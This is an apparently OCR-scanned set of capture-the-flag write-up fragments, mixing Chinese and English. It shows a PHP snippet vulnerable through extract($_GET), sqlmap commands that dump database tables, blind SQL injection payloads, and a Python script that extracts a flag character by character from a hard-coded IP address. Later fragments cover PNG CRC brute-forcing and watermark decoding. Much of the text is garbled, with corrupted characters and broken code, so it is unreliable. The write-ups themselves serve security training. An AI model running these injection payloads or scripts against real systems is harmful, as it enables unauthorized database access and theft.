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<?php

include ‘flag.php';
extract($_GET);

if (lempty($ac))

{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorryl</p>";
¥
}
else
{

highlight file(__ FILE_ );
}

?>
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sqlmap#ilevel=3#t Al LA T
JEE % web

mation_schema
[ 11 ] retriev

available databases [

[*#*] information_schema

[+1 [

sqlmap -r 1.txt -D web --tables

adjusting tim
user_agents
] retrieved: us
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fEuser_agents® HTH A flag

sqlmap -r 1.txt -D web -T user_agents --column --dump

[2 entries]
+ +
| id | user
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fff: ?id=1 and length(database()) regexp '~3' # MK E N3
1 and mid(database(),%d,1) regexp '~%s' # J¥HFE4 Ndeb

information_schema#id J&

table i &

A LAEH ?id=1 and exists(select * from flag) # f#&HFKHflag

R H 7B ?id=1 and exists(select flag from flag) # &M FB L Eflag

import requests
import string

strs = 'dabcdefghijklmnopqrstuvwxyz1234567890"
url = "http://192.144.182.32:20007/index.php?id="

sql = "1 and mid((select flag from flag),%d,1) regexp '~%s'#"
# sql = "1 and length(database()) regexp '~3' #"

for i in range(1,40):
flag = "'
for j in strs:
payload = sql %(i,j)
urls = url+payload

r = requests.get(urls)

# print(payload)

# print(r.text)

if "\\xed4\\xba\\x8c' in str(r.content):
flag += j
print(flag,end="")
char = j
break

print(flag)
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1 and mid((select flag from flag),1,32) regexp 'chb@bb8ab97c61175f2544f1leadel2024'#
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with open('1l.txt','rb"') as f:
while True:
a = f.readline()

a =al::-1]
if len(a) == 0:
break

with open('2.txt',"ab+"') as file:
file.write(a)
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i FH010f 1 png f i 2

ERROR: CRC Mismatch @ chunk[1]; in data: 2eaaacdd; expected: e7a30c9d

g # pngcheck

e8, expected ec5Zca9

ERROR: misc2.
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#Python3 png KAlE
import os

import binascii
import struct

for i in range(20000):#—# 200005 %
wide = struct.pack('>i',i)
for j in range(20000):
high = struct.pack('>i',7j)
data = b'\x49\x48\x44\x52"' + wide+ high+b'\x08\x00\x00\x00\x00"

#B1 42 Py3, byteflistr A pEEBEHTIEH, ESH str5 b'..." "« IHHE widefl high5ik str(...

crc32 = binascii.crc32(data) & oxffffffff
if crc32 == OXEC52CA96: # Ox81888253 X1 png X 1FLH) CRCIEZHHE, # 21~25bytest
print("\n\n',1i,j,crc32)
print(type(data))
exit(o)
print(i,end=" ")
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HEREFpython2Flpython3fRAS FIINf# % & RSB AR, EEFERE &Zpython2Fipython3 randomfJHEAF, R Eikpython33#E%
python2f¥jrandomi%i& il --oldseed &4 .

LS

python bwmforpy3.py decode --oldseed B2.png 2.png flag.png
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with open('1l.txt','rb") as f:
while True:
a = f.readline()

a =al::-1]
if len(a) == 0:
break

with open('2.txt', 'ab+') as file:
file.write(a)
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